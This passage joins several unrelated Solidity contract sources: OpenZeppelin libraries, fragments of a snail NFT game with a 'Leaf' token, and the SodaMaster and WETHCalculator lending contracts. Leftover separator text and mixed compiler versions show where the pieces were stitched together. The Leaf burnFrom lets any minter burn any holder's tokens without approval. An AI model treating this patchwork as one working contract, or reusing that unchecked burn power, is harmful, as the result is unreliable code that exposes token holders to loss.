function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/presets/[email protected]
pragma solidity ^0.8.0;
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC20BurnableUpgradeable, ERC20PausableUpgradeable {
function initialize(string memory name, string memory symbol) public virtual initializer {
__ERC20PresetMinterPauser_init(name, symbol);
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__ERC20PresetMinterPauser_init_unchained(name, symbol);
}
function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/cryptography/[email protected]
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// File contracts/NFT.sol
pragma solidity ^0.8.2;
interface InventoryManager {
function getTokenURI(
uint16 id,
uint8 background_,
uint8 trail_,
uint8 body_,
uint8 shell_,
uint8 eyes_,
uint8 mouth_,
uint8 accessory_,
bool staked_,
uint8 modifier_
) external view returns (string memory);
}
contract Leaf is ERC20PresetMinterPauserUpgradeable {
function init() public initializer {
__ERC20PresetMinterPauser_init("Leaf", "LEAF");
}
function burnFrom(address from, uint256 amount) public override {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_burn(from, amount);
}
}
struct LootPool {
uint16 cost;
uint16 total;
uint8 minTier;
uint16 tier1;
uint16 tier2;
uint16 tier3;
uint16 tier4;
}
struct Snail {
uint8 background;
uint8 trail;
uint8 body;
uint8 shell;
uint8 eyes;
uint8 mouth;
uint8 accessory;
}
library Looting {
function init(mapping(uint8 => LootPool) storage pools, mapping(uint8 => uint8[]) storage bodyToEyesMouth) public {
pools[0] = LootPool({cost: 0, total: 100, minTier: 0, tier1: 95, tier2: 5, tier3: 0, tier4: 0});
pools[1] = LootPool({cost: 1, total: 100, minTier: 1, tier1: 80, tier2: 15, tier3: 5, tier4: 0});
pools[2] = LootPool({cost: 3, total: 30000, minTier: 1, tier1: 3900, tier2: 21000, tier3: 5100, tier4: 0});
pools[3] = LootPool({cost: 6, total: 20300, minTier: 2, tier1: 3048, tier2: 15222, tier3: 2030, tier4: 0});
pools[4] = LootPool({cost: 12, total: 13500, minTier: 3, tier1: 6750, tier2: 6750, tier3: 0, tier4: 0});
pools[5] = LootPool({cost: 24, total: 1666, minTier: 4, tier1: 833, tier2: 833, tier3: 0, tier4: 0});
pools[6] = LootPool({cost: 48, total: 3333, minTier: 5, tier1: 3328, tier2: 5, tier3: 0, tier4: 0});
bodyToEyesMouth[1] = [4, 6, 18, 8, 16, 20];
bodyToEyesMouth[2] = [4, 21, 26, 5, 16, 23];
bodyToEyesMouth[3] = [6, 21, 33, 2, 14, 23];
bodyToEyesMouth[4] = [21, 22, 33, 5, 8, 16];
bodyToEyesMouth[5] = [4, 6, 26, 20, 22, 23];
bodyToEyesMouth[6] = [8, 13, 26, 5, 12, 16];
bodyToEyesMouth[7] = [4, 25, 33, 3, 8, 18];
bodyToEyesMouth[8] = [2, 6, 25, 3, 10, 14];
bodyToEyesMouth[9] = [15, 21, 29, 3, 4, 17];
bodyToEyesMouth[10] = [18, 25, 31, 5, 19, 20];
bodyToEyesMouth[11] = [5, 10, 12, 9, 15, 16];
bodyToEyesMouth[12] = [1, 16, 29, 3, 7, 19];
bodyToEyesMouth[13] = [3, 8, 17, 10, 15, 20];
bodyToEyesMouth[14] = [2, 18, 30, 2, 5, 21];
bodyToEyesMouth[15] = [1, 4, 14, 10, 19, 21];
bodyToEyesMouth[16] = [6, 10, 28, 1, 9, 16];
bodyToEyesMouth[17] = [5, 8, 18, 9, 19, 21];
bodyToEyesMouth[18] = [1, 25, 26, 4, 7, 19];
bodyToEyesMouth[19] = [10, 13, 18, 1, 8, 15];
bodyToEyesMouth[20] = [1, 7, 33, 8, 9, 10];
bodyToEyesMouth[21] = [1, 3, 25, 9, 10, 22];
bodyToEyesMouth[22] = [2, 11, 18, 6, 9, 21];
bodyToEyesMouth[23] = [1, 3, 28, 9, 13, 18];
bodyToEyesMouth[24] = [26, 27, 32, 4, 10, 19];
bodyToEyesMouth[25] = [8, 14, 28, 1, 6, 7];
bodyToEyesMouth[26] = [1, 20, 28, 1, 10, 19];
bodyToEyesMouth[27] = [7, 25, 28, 8, 9, 15];
bodyToEyesMouth[28] = [7, 9, 25, 1, 7, 16];
bodyToEyesMouth[29] = [3, 10, 23, 15, 19, 23];
bodyToEyesMouth[30] = [7, 27, 32, 6, 9, 21];
}
function checkFullSet(Snail storage snail, mapping(uint8 => bool) storage setClaimed) public {
uint8[5][5] memory sets = [
[23, 16, 27, 13, 36],
[25, 26, 29, 14, 37],
[30, 29, 23, 29, 38],
[27, 20, 20, 25, 40],
[26, 30, 15, 27, 39]
];
for (uint8 i = 0; i < 5; i++) {
if (setClaimed[i]) continue;
if (snail.background == sets[i][0] && snail.body == sets[i][1] && snail.shell == sets[i][2] && snail.trail == sets[i][3]) {
snail.accessory = sets[i][4];
setClaimed[i] = true;
break;
}
}
}
} | True | [
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: @openzeppelin/contracts/GSN/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/SodaMaster.sol
/*
Here we have a list of constants. In order to get access to an address
managed by SodaMaster, the calling contract should copy and define
some of these constants and use them as keys.
Keys themselves are immutable. Addresses can be immutable or mutable.
a) Vault addresses are immutable once set, and the list may grow:
K_VAULT_WETH = 0;
K_VAULT_USDT_ETH_SUSHI_LP = 1;
K_VAULT_SOETH_ETH_UNI_V2_LP = 2;
K_VAULT_SODA_ETH_UNI_V2_LP = 3;
K_VAULT_GT = 4;
K_VAULT_GT_ETH_UNI_V2_LP = 5;
b) SodaMade token addresses are immutable once set, and the list may grow:
K_MADE_SOETH = 0;
c) Strategy addresses are mutable:
K_STRATEGY_CREATE_SODA = 0;
K_STRATEGY_EAT_SUSHI = 1;
K_STRATEGY_SHARE_REVENUE = 2;
d) Calculator addresses are mutable:
K_CALCULATOR_WETH = 0;
Solidity doesn't allow me to define global constants, so please
always make sure the key name and key value are copied as the same
in different contracts.
*/
// SodaMaster manages the addresses all the other contracts of the system.
// This contract is owned by Timelock.
contract SodaMaster is Ownable {
address public pool;
address public bank;
address public revenue;
address public dev;
address public soda;
address public wETH;
address public usdt;
address public uniswapV2Factory;
mapping(address => bool) public isVault;
mapping(uint256 => address) public vaultByKey;
mapping(address => bool) public isSodaMade;
mapping(uint256 => address) public sodaMadeByKey;
mapping(address => bool) public isStrategy;
mapping(uint256 => address) public strategyByKey;
mapping(address => bool) public isCalculator;
mapping(uint256 => address) public calculatorByKey;
// Immutable once set.
function setPool(address _pool) external onlyOwner {
require(pool == address(0));
pool = _pool;
}
// Immutable once set.
// Bank owns all the SodaMade tokens.
function setBank(address _bank) external onlyOwner {
require(bank == address(0));
bank = _bank;
}
// Mutable in case we want to upgrade this module.
function setRevenue(address _revenue) external onlyOwner {
revenue = _revenue;
}
// Mutable in case we want to upgrade this module.
function setDev(address _dev) external onlyOwner {
dev = _dev;
}
// Mutable, in case Uniswap has changed or we want to switch to sushi.
// The core systems, Pool and Bank, don't rely on Uniswap, so there is no risk.
function setUniswapV2Factory(address _uniswapV2Factory) external onlyOwner {
uniswapV2Factory = _uniswapV2Factory;
}
// Immutable once set.
function setWETH(address _wETH) external onlyOwner {
require(wETH == address(0));
wETH = _wETH;
}
// Immutable once set. Hopefully Tether is reliable.
// Even if it fails, not a big deal, we only used USDT to estimate APY.
function setUSDT(address _usdt) external onlyOwner {
require(usdt == address(0));
usdt = _usdt;
}
// Immutable once set.
function setSoda(address _soda) external onlyOwner {
require(soda == address(0));
soda = _soda;
}
// Immutable once added, and you can always add more.
function addVault(uint256 _key, address _vault) external onlyOwner {
require(vaultByKey[_key] == address(0), "vault: key is taken");
isVault[_vault] = true;
vaultByKey[_key] = _vault;
}
// Immutable once added, and you can always add more.
function addSodaMade(uint256 _key, address _sodaMade) external onlyOwner {
require(sodaMadeByKey[_key] == address(0), "sodaMade: key is taken");
isSodaMade[_sodaMade] = true;
sodaMadeByKey[_key] = _sodaMade;
}
// Mutable and removable.
function addStrategy(uint256 _key, address _strategy) external onlyOwner {
isStrategy[_strategy] = true;
strategyByKey[_key] = _strategy;
}
function removeStrategy(uint256 _key) external onlyOwner {
isStrategy[strategyByKey[_key]] = false;
delete strategyByKey[_key];
}
// Mutable and removable.
function addCalculator(uint256 _key, address _calculator) external onlyOwner {
isCalculator[_calculator] = true;
calculatorByKey[_key] = _calculator;
}
function removeCalculator(uint256 _key) external onlyOwner {
isCalculator[calculatorByKey[_key]] = false;
delete calculatorByKey[_key];
}
}
// File: contracts/calculators/ICalculator.sol
// `TOKEN` can be any ERC20 token. The first one is WETH.
abstract contract ICalculator {
function rate() external view virtual returns(uint256);
function minimumLTV() external view virtual returns(uint256);
function maximumLTV() external view virtual returns(uint256);
// Get next loan Id.
function getNextLoanId() external view virtual returns(uint256);
// Get loan creator address.
function getLoanCreator(uint256 _loanId) external view virtual returns (address);
// Get the locked `TOKEN` amount by the loan.
function getLoanLockedAmount(uint256 _loanId) external view virtual returns (uint256);
// Get the time by the loan.
function getLoanTime(uint256 _loanId) external view virtual returns (uint256);
// Get the rate by the loan.
function getLoanRate(uint256 _loanId) external view virtual returns (uint256);
// Get the minimumLTV by the loan.
function getLoanMinimumLTV(uint256 _loanId) external view virtual returns (uint256);
// Get the maximumLTV by the loan.
function getLoanMaximumLTV(uint256 _loanId) external view virtual returns (uint256);
// Get the SoMade amount of the loan principal.
function getLoanPrincipal(uint256 _loanId) external view virtual returns (uint256);
// Get the SoMade amount of the loan interest.
function getLoanInterest(uint256 _loanId) external view virtual returns (uint256);
// Get the SoMade amount that the user needs to pay back in full.
function getLoanTotal(uint256 _loanId) external view virtual returns (uint256);
// Get the extra fee for collection in SoMade.
function getLoanExtra(uint256 _loanId) external view virtual returns (uint256);
// Lend SoMade to create a new loan.
//
// Only SodaPool can call this contract, and SodaPool should make sure the
// user has enough `TOKEN` deposited.
function borrow(address _who, uint256 _amount) external virtual;
// Pay back to a loan fully.
//
// Only SodaPool can call this contract.
function payBackInFull(uint256 _loanId) external virtual;
// Collect debt if someone defaults.
//
// Only SodaPool can call this contract, and SodaPool should send `TOKEN` to
// the debt collector.
function collectDebt(uint256 _loanId) external virtual;
}
// File: contracts/calculators/WETHCalculator.sol
// This calculator fitures out lending SoETH by depositing WETH.
// All the money are still managed by the pool, but the calculator tells him
// what to do.
// This contract is owned by Timelock.
contract WETHCalculator is Ownable, ICalculator {
using SafeMath for uint256;
uint256 constant RATE_BASE = 1e6;
uint256 constant LTV_BASE = 100;
SodaMaster public sodaMaster;
uint256 public override rate; // Daily interest rate, a number between 0 and 10000.
uint256 public override minimumLTV; // Minimum Loan-to-value ratio, a number between 10 and 90.
uint256 public override maximumLTV; // Maximum Loan-to-value ratio, a number between 15 and 95.
// We will start with rate = 500, which means 0.05% daily interest.
// We will initially set _minimumLTV as 90, and maximumLTV as 95.
// It should work perfectly, however, we may change it based on governance.
// The maximum daily interest is 1%, and maximumLTV - _minimumLTV >= 5.
// As a result, user has at least 5 days to do something.
// Info of each loan.
struct LoanInfo {
address who; // The user that creats the loan.
uint256 amount; // How many SoETH tokens the user has lended.
uint256 lockedAmount; // How many WETH tokens the user has locked.
uint256 time; // When the loan is created or updated.
uint256 rate; // At what daily interest rate the user lended.
uint256 minimumLTV; // At what minimum loan-to-deposit ratio the user lended.
uint256 maximumLTV; // At what maximum loan-to-deposit ratio the user lended.
}
mapping (uint256 => LoanInfo) public loanInfo; // loanId => LoanInfo
uint256 private nextLoanId;
constructor(SodaMaster _sodaMaster) public {
sodaMaster = _sodaMaster;
}
// Change the bank's interest rate and LTVs.
// Can only be called by the owner.
// The change should only affect loans made after it.
function changeRateAndLTV(uint256 _rate, uint256 _minimumLTV, uint256 _maximumLTV) public onlyOwner {
require(_rate <= RATE_BASE, "_rate <= RATE_BASE");
require(_minimumLTV + 5 <= _maximumLTV, "+ 5 <= _maximumLTV");
require(_minimumLTV >= 10, ">= 10");
require(_maximumLTV <= 95, "<= 95");
rate = _rate;
minimumLTV = _minimumLTV;
maximumLTV = _maximumLTV;
}
/**
* @dev See {ICalculator-getNextLoanId}.
*/
function getNextLoanId() external view override returns(uint256) {
return nextLoanId;
}
/**
* @dev See {ICalculator-getLoanCreator}.
*/
function getLoanCreator(uint256 _loanId) external view override returns (address) {
return loanInfo[_loanId].who;
}
/**
* @dev See {ICalculator-getLoanPrincipal}.
*/
function getLoanPrincipal(uint256 _loanId) public view override returns (uint256) {
return loanInfo[_loanId].amount;
}
/**
* @dev See {ICalculator-getLoanPrincipal}.
*/
function getLoanInterest(uint256 _loanId) public view override returns (uint256) {
uint256 principal = loanInfo[_loanId].amount;
uint256 durationByDays = now.sub(loanInfo[_loanId].time) / (1 days) + 1;
uint256 interest = loanInfo[_loanId].amount.mul(loanInfo[_loanId].rate).div(RATE_BASE).mul(durationByDays);
uint256 lockedAmount = loanInfo[_loanId].lockedAmount;
uint256 maximumAmount = lockedAmount.mul(loanInfo[_loanId].maximumLTV).div(LTV_BASE);
// Interest has a cap. After that collector will collect.
if (principal + interest <= maximumAmount) {
return interest;
} else {
return maximumAmount - principal;
}
}
/**
* @dev See {ICalculator-getLoanTotal}.
*/
function getLoanTotal(uint256 _loanId) public view override returns (uint256) {
return getLoanPrincipal(_loanId) + getLoanInterest(_loanId);
}
/**
* @dev See {ICalculator-getLoanExtra}.
*/
function getLoanExtra(uint256 _loanId) external view override returns (uint256) {
uint256 lockedAmount = loanInfo[_loanId].lockedAmount;
uint256 maximumAmount = lockedAmount.mul(loanInfo[_loanId].maximumLTV).div(LTV_BASE);
require(lockedAmount >= maximumAmount, "getLoanExtra: >=");
return (lockedAmount - maximumAmount) / 2;
}
/**
* @dev See {ICalculator-getLoanLockedAmount}.
*/
function getLoanLockedAmount(uint256 _loanId) external view override returns (uint256) {
return loanInfo[_loanId].lockedAmount;
}
/**
* @dev See {ICalculator-getLoanTime}.
*/
function getLoanTime(uint256 _loanId) external view override returns (uint256) {
return loanInfo[_loanId].time;
}
/**
* @dev See {ICalculator-getLoanRate}.
*/
function getLoanRate(uint256 _loanId) external view override returns (uint256) {
return loanInfo[_loanId].rate;
}
/**
* @dev See {ICalculator-getLoanMinimumLTV}.
*/
function getLoanMinimumLTV(uint256 _loanId) external view override returns (uint256) {
return loanInfo[_loanId].minimumLTV;
}
/**
* @dev See {ICalculator-getLoanMaximumLTV}.
*/
function getLoanMaximumLTV(uint256 _loanId) external view override returns (uint256) {
return loanInfo[_loanId].maximumLTV;
}
/**
* @dev See {ICalculator-borrow}.
*/
function borrow(address _who, uint256 _amount) external override {
require(msg.sender == sodaMaster.bank(), "sender not bank");
uint256 lockedAmount = _amount.mul(LTV_BASE).div(minimumLTV);
require(lockedAmount >= 1, "lock at least 1 WETH");
loanInfo[nextLoanId].who = _who;
loanInfo[nextLoanId].amount = _amount;
loanInfo[nextLoanId].lockedAmount = lockedAmount;
loanInfo[nextLoanId].time = now;
loanInfo[nextLoanId].rate = rate;
loanInfo[nextLoanId].minimumLTV = minimumLTV;
loanInfo[nextLoanId].maximumLTV = maximumLTV;
++nextLoanId;
}
/**
* @dev See {ICalculator-payBackInFull}.
*/
function payBackInFull(uint256 _loanId) external override {
require(msg.sender == sodaMaster.bank(), "sender not bank");
loanInfo[_loanId].amount = 0;
loanInfo[_loanId].lockedAmount = 0;
loanInfo[_loanId].time = now;
}
/**
* @dev See {ICalculator-collectDebt}.
*/
function collectDebt(uint256 _loanId) external override {
require(msg.sender == sodaMaster.bank(), "sender not bank");
uint256 loanTotal = getLoanTotal(_loanId);
uint256 maximumLoan = loanInfo[_loanId].amount.mul(loanInfo[_loanId].maximumLTV).div(LTV_BASE);
// You can collect only if the user defaults.
require(loanTotal >= maximumLoan, "collectDebt: >=");
// Now the debt is clear. SodaPool, please do the rest.
loanInfo[_loanId].amount = 0;
loanInfo[_loanId].lockedAmount = 0;
loanInfo[_loanId].time = now;
}
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// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
